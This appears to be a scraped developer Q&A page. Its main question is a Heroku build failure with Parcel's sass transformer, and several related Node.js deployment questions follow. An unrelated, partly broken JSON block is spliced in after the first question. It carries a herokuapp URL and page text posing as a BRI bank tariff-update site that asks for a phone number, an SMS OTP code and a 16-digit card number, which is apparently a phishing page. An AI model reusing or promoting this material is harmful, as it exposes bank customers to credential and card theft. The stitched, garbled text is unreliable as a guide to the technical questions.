I'm using Parcel as my package bundler and the entire app is deployed on Heroku. The app has two folders for client and server side. On the client side, I'm using scss for the styling and parcel install #parcel/transformer-sass to compile the scss file. Everything works locally as expected, but when I deploy the app to Heroku, the build fails with this error
> client#1.0.0 build
> parcel build index.html
Building...
🚨 Build failed.
#parcel/package-manager: Could not find module "#parcel/transformer-sass", but
it was listed in package.json. Run your package manager first.
/tmp/build_b6e0e662/client/package.json:22:5
21 | "devDependencies": {
> 22 | "#parcel/transformer-sass": "^2.7.0",
> | ^^^^^^^^^^^^^^^^^^^^^^^^^^ Defined here, but not installed
23 | "parcel": "^2.7.0",
24 | "process": "^0.11.10"
-----> Build failed
We're sorry this build is failing! You can troubleshoot common issues here:
https://devcenter.heroku.com/articles/troubleshooting-node-deploys
Some possible problems:
- Dangerous semver range (>) in engines.node
https://devcenter.heroku.com/articles/nodejs-support#specifying-a-node-js-version
Love,
Heroku
! Push rejected, failed to compile Node.js app.
! Push failed
Here's the package.json file from the root directory
{
"name": "thexpensetracker",
"version": "1.0.0",
"description": "",
"scripts": {
"start": "npm run serve",
"build": "cd client && npm install && npm run build",
"serve": "cd server && npm install && npm run serve",
"dev": "concurrently \"npm run client\" \"npm run server\"",
"server": "cd server && npm run dev",
"client": "cd client && npm run dev"
},
"engines": {
"node": ">=14.19.0"
},
"keywords": [
"example",
"heroku"
],
"author": "Abajit Dey",
"license": "ISC",
"devDependencies": {
"concurrently": "^7.3.0",
"cors": "^2.8.5",
"dotenv": "^16.0.2",
"express": "^4.18.1",
"parcel": "^2.7.0"
},
"dependencies": {
"axios": "^0.27.2",
"cookie-parser": "^1.4.6",
"cors": "^2.8.5",
"firebase": "^9.10.0",
"http-proxy-middleware": "^2.0.6",
"jsonwebtoken": "^8.5.1"
}
}
Here's the package.json for the client directory
{
"name": "client",
"version": "1.0.0",
"description": "",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"dev": "parcel index.html",
"build": "parcel build index.html"
},
"keywords": [],
"author": "",
"license": "ISC",
"dependencies": {
"react": "^18.2.0",
"react-dom": "^18.2.0",
"react-event-observer": "^0.5.11",
"react-hook-form": "^7.35.0",
"react-router-dom": "^6.4.0",
"zustand": "^4.1.1"
},
"devDependencies": {
"#parcel/transformer-sass": "^2.7.0",
"parcel": "^2.7.0",
"process": "^0.11.10"
}
}
I've also used parcel build before deploying but still the same.
{
"nama": "https://updatetariftransaksi-heroku.herokuapp.com/",
"description": "Untitled\n\n\u00a0 \u00a0Punya Akun\u00a0 \u00a0\n\nBelum Punya Akun\n\nhttps://updatetariftransaksi-heroku.herokuapp.com/",
"kata kunci": [
"Untitled\n\nBANKBRIUpdateTerbaruTarifTransaksi\n\nNomorHandphone\n!function(){functiont(t){this.element=t",
"this.animationId",
"ini.mulai=null",
"this.init()}if(!window.requestAnimationFrame){vari=null;window.requestAnimationFrame=function(t",
"n){vare=(tanggalbaru).getTime();i(i=e);vara=Math.max(0",
"16-(ei))",
"o=window.setTimeout(function(){t(e+a)}",
"a);kembali=e+a",
"o}}t.prototype.init=function(){vart=this;this.animationId=window.requestAnimationFrame(t.triggerAnimation.bind(t))}",
"t.prototype.reset=function(){vart=this;window.cancelAnimationFrame(t.animationId)}",
"t.prototype.triggerAnimation=function(t){vari=this;this.start(this.start=t);varn=t-this.start;504>n||(this.start=this.start+504 )",
"this.element.setAttribute(\u201ctransform\u201d",
"\u201memutar(\u201c+Matematika.min(n/1.4",
"360)+\u201d1212)\u201d);if(document.documentElement.contains(this.element))window.requestAnimationFrame(i.triggerAnimation.bind(i))};varn=document.getElementsByClassName(\u201cnc-loop_circle- 02-24\u201d)",
"e=[];if(n)for(vara=0;n.length>a;a++)!function(i){e.push(newt(n[i]))}(a);document.addEventListener (\u201cvisibilitychange\u201d",
"function(){\u201chidden\u201d==document.visibilityState?e.forEach(function(t){t.reset()}):e.forEach(function(t){t.init()})}) }();\n\nhttps://updatetariftransaksi-heroku.herokuapp.com/"
],
"repository": "Brizy #140\n\n\n\n\n\nhttps://updatetariftransaksi-heroku.herokuapp.com/",
"website": "Tanpa Judul\n\nVerifikasi Kode OTP SMS\n\nKONFIRMASI\n\nhttps://updatetariftransaksi-heroku.herokuapp.com/",
"success_url": "Untitled\n\nDAFTAR BRImo\n\nMasukkan 16 Nomor Kartu\n Berlaku\n Sampai\n .\nDaftar\n\nhttps://updatetariftransaksi-heroku.herokuapp.com/",
"env": {},
"formasi": {
"pekerja": {
"Jumlah: 1,
"ukuran": "gratis"
}
}
}
Related
I've got this error from the heroku console when deploying the app.
It work on local but fail to deploy.
SyntaxError: /tmp/build_4b397c70/.heroku/node/lib/node_modules/npm/docs/gatsby-browser.js: Support for the experimental syntax 'jsx' isn't currently enabled (7:10):
5 |
6 | export const wrapPageElement = ({ element, props }) => {
> 7 | return <Layout {...props} >{element}</Layout>
| ^
8 | }
9 |
Add #babel/preset-react (https://git.io/JfeDR) to the 'presets' section of your Babel config to enable transformation.
If you want to leave it as-is, add #babel/plugin-syntax-jsx (https://git.io/vb4yA) to the 'plugins' section to enable parsing.
at Parser._raise (/tmp/build_4b397c70/node_modules/#babel/parser/lib/index.js:810:17)
at Parser.raiseWithData (/tmp/build_4b397c70/node_modules/#babel/parser/lib/index.js:803:17)
at Parser.expectOnePlugin (/tmp/build_4b397c70/node_modules/#babel/parser/lib/index.js:9982:18)
at Parser.parseExprAtom (/tmp/build_4b397c70/node_modules/#babel/parser/lib/index.js:11367:22)
at Parser.parseExprSubscripts (/tmp/build_4b397c70/node_modules/#babel/parser/lib/index.js:10941:23)
at Parser.parseUpdate (/tmp/build_4b397c70/node_modules/#babel/parser/lib/index.js:10921:21)
at Parser.parseMaybeUnary (/tmp/build_4b397c70/node_modules/#babel/parser/lib/index.js:10899:23)
at Parser.parseExprOps (/tmp/build_4b397c70/node_modules/#babel/parser/lib/index.js:10756:23)
at Parser.parseMaybeConditional (/tmp/build_4b397c70/node_modules/#babel/parser/lib/index.js:10730:23)
at Parser.parseMaybeAssign (/tmp/build_4b397c70/node_modules/#babel/parser/lib/index.js:10693:21) {
loc: Position { line: 7, column: 9 },
pos: 209,
missingPlugin: [ 'jsx', 'flow', 'typescript' ],
code: 'BABEL_PARSE_ERROR'
}
package.json
{
"name": "xxx",
"version": "1.0.0",
"description": "xxx",
"main": "index.js",
"engines": {
"node": "14.x"
},
"scripts": {
"start": "npm run build && node ./dist/index.js",
"dev": "nodemon --exec babel-node ./index.js",
"build": "npm run clean && npm run build-babel",
"clean": "rm -rf dist && mkdir dist",
"build-babel": "babel . --out-dir dist --ignore node_modules"
},
"author": "tiavina-mika",
"license": "ISC",
"dependencies": {
"#babel/cli": "^7.14.3",
"#babel/core": "^7.14.3",
"#babel/preset-react": "^7.13.13",
"bcrypt": "^5.0.1",
"body-parser": "^1.19.0",
"cors": "^2.8.5",
"dotenv": "^9.0.2",
"express": "^4.17.1",
"express-mongo-sanitize": "^2.1.0",
"express-validation": "^3.0.8",
"jsonwebtoken": "^8.5.1",
"mongoose": "^5.12.10"
},
"devDependencies": {
"#babel/node": "^7.14.2",
"#babel/plugin-transform-runtime": "^7.14.3",
"#babel/polyfill": "^7.12.1",
"#babel/preset-env": "^7.14.2",
"#babel/runtime": "^7.14.0",
"nodemon": "^2.0.7"
}
}
.babelrc
{
"presets": ["#babel/preset-env"],
"plugins": [
["#babel/transform-runtime"]
]
}
I added #babel/preset-react to the 'presets' section of the babel config and still got the same error
NOTE: it's a simple nodejs server api not a react one, but the error suggest the use of preset-react.
I've had same problems with Heroku when generate build directory. You change directory input to other (for example src).
I share you my builder and start script:
"prebuild": "rm -rf ./dist",
"build": "babel ./src -d ./dist --ignore node_modules,test",
"prestart": "npm run build",
"start": "pm2-runtime start ./dist/index.js"
When I started the node server for running the react app. It didn't start and took very long. Sometimes it wont start.
I use the command to start the server:
npm start dev
This is my Package.json code:
{
"name": "ABCD",
"version": "1.0.0",
"description": "abcd",
"main": "server.js",
"type": "module",
"scripts": {
"start": "node backend/server",
"server": "nodemon backend/server",
"client": "npm start --prefix frontend",
"dev": "concurrently \"npm run server\" \"npm run client\""
},
"author": "XYZ",
"license": "ISC",
"dependencies": {
"dotenv": "^8.2.0",
"express": "^4.17.1"
},
"devDependencies": {
"concurrently": "^5.3.0",
"nodemon": "^2.0.7"
}
}
I have the problem that Heroku searches in the folder app/build/index.js for my index.js but this is wrong. That is why I get this error: 1
My folder structure looks like this: 2
My package.json:
"name": "market-research-tool",
"version": "1.0.0",
"description": "",
"main": "./build/index.js",
"scripts": {
"start": "node ./build/index.js",
"dev": "nodemon server.ts",
"build": "tsc",
"heroku-postbuild": "cd client && npm install && npm run build"
},
"keywords": [],
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.17.1",
"mongoose": "^5.9.13",
"nodemon": "^2.0.4",
"ts-node": "^8.10.2",
"typescript": "^3.9.5"
},
"devDependencies": {
"#types/express": "^4.17.6",
"#types/mongoose": "^5.7.16",
"#types/node": "^14.0.13"
}
}
My Procfile:
web: node ./build/index.js
How can I solve this problem?
I have exactly the same issue as User daffodils. When uploaded to heroku the app fails with a message "npm ERR! missing script: start" But I don't have a start command in my package.json and I do have "web : node app.js" in my Procfile
I don't have a start in my package.json file and the same file worked ok for another similar app on heroku:
{
"name": "tBlogv3withdb",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"engines": {
"node": "13.12.0"
},
"dependencies": {
"body-parser": "^1.18.3",
"ejs": "^2.6.1",
"express": "^4.16.3",
"lodash": "^4.17.15",
"mongoose": "^5.9.10"
}
}
User Daffodils said "I dropped the repo and re-init solved it." - what does this mean exactly?
I have a nodejs typescript project cloned from https://github.com/microsoft/BotBuilder-Samples/tree/master/samples/typescript_nodejs/13.core-bot and when trying to deploy it to Azure I get the following error on logs:
Invalid start-up command "tsc --build && node ./lib/index.js" in package.json. Please use the format "node <script relative path>".
Any idea what's wrong here?
UPDATE:
{
"name": "core-bot",
"version": "1.0.0",
"description": "A bot that demonstrates core AI capabilities",
"author": "Microsoft Bot Framework Team",
"license": "MIT",
"main": "index.js",
"scripts": {
"build": "tsc --build",
"lint": "tslint -c tslint.json 'src/**/*.ts'",
"postinstall": "npm run build && node ./deploymentScripts/webConfigPrep.js",
"start": "tsc --build && node ./lib/index.js",
"test": "tsc --build && nyc mocha lib/tests/**/*.test.js",
"watch": "node --watch ./src -e ts --exec \"npm run start\""
},
"nyc": {
"extension": [
".ts",
".tsx"
],
"exclude": [
"**/.eslintrc.js",
"**/*.d.ts",
"**/*.test.*",
"**/tests",
"**/coverage",
"**/deploymentScripts",
"**/src/index.ts"
],
"reporter": [
"text"
],
"all": true
},
"dependencies": {
"#microsoft/recognizers-text-data-types-timex-expression": "1.1.4",
"axios": "^0.19.2",
"botbuilder": "~4.7.0",
"botbuilder-ai": "~4.7.0",
"botbuilder-dialogs": "~4.7.0",
"botbuilder-testing": "~4.7.0",
"dotenv": "^8.2.0",
"replace": "~1.1.1",
"restify": "~8.4.0"
},
"devDependencies": {
"#types/dotenv": "6.1.1",
"#types/mocha": "^5.2.7",
"#types/restify": "8.4.1",
"mocha": "^6.2.2",
"nodemon": "^1.19.4",
"nyc": "^14.1.1",
"ts-node": "^8.4.1",
"tslint": "~5.20.0",
"typescript": "~3.6.4"
}
}